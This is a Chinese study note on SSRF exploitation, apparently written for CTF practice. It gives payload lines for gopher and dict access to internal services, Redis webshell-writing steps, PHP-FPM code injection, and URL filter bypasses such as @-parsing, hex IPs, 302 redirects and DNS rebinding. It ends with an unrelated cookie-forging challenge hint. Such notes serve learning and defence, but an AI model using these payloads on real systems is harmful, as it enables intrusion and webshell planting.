NOTE
SSRF 实战
整理 SSRF 成因、常见目标、检测方式与出网访问防御。
SSRF(Server-Side Request Forgery)
即“服务器端请求伪造”,是一种攻击者通过构造恶意URL诱导服务器访问内部资源或受限网络的漏洞,可导致内网渗透、数据泄露或服务滥用。
一、漏洞利用技术
1. 直接访问内网资源
条件:服务器未做过滤
示例:
url=http://127.0.0.1/admin
2. 伪协议请求
- 适用场景:当常用协议被过滤时
- 参考资源:PHP伪协议总结
gopher协议利用
gopher://127.0.0.1:80/_POST /flag.php
关键步骤:需对请求URL进行两次URL编码
实践参考:CTFHUB SSRF POST小记
3. 端口扫描
作用:遍历内网端口,探测隐藏服务。
4. 文件上传
方法:通过gopher协议构造HTTP文件上传请求。
5. PHP-FPM未授权访问漏洞
原理:
- FPM(FastCGI进程管理器)默认监听
9000端口。 - 若端口暴露,可构造恶意FastCGI请求,注入代码:
Payload生成工具:'PHP_VALUE' = 'auto_prepend_file = php://input'
git clone https://github.com/tarunkant/Gopherus.git

6. Redis攻击
步骤:
- 探测端口:
dict://127.0.0.1:6379/info # 返回Redis信息则可用 - 连接Redis:尝试弱口令爆破(如需认证)。
- 写入Webshell:
- 设置持久化路径为Web目录
- 指定持久化文件名(如
shell.php) - 存储恶意代码并执行
SAVE
Payload生成:

二、WAF绕过技巧
1. URL语法绕过
场景:系统要求URL以特定域名开头
绕过方法:
?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
原理:@符号左侧被解析为认证信息,右侧为实际访问地址。
2. 数字IP绕过
场景:过滤127/172等回环地址
方法:
- 十六进制IP:
?url=http://0x7f000001/flag.php - 替代方案:
localhost、0.0.0.0
3. 302跳转绕过
场景:严格过滤回环地址
原理:利用HTTP 302重定向避开IP检测
演示:
?url=http://短链接服务/xxx # 短链接跳转至http://127.0.0.1/flag.php

4. DNS重绑定绕过
场景:绕过IP检测及同源策略
原理:参考DNS重绑定漏洞详解
示例:
?url=http://7f000001.7f000002.rbndr.us/flag.php

你的身份是guest,你没有权限查看FLAG。你知道吗,有些网站会在Cookie中保存用户的身份信息,比如admin或者guest。如果你能修改Cookie的值,就可以伪造成其他用户的身份。试试修改Cookie的值为admin呢?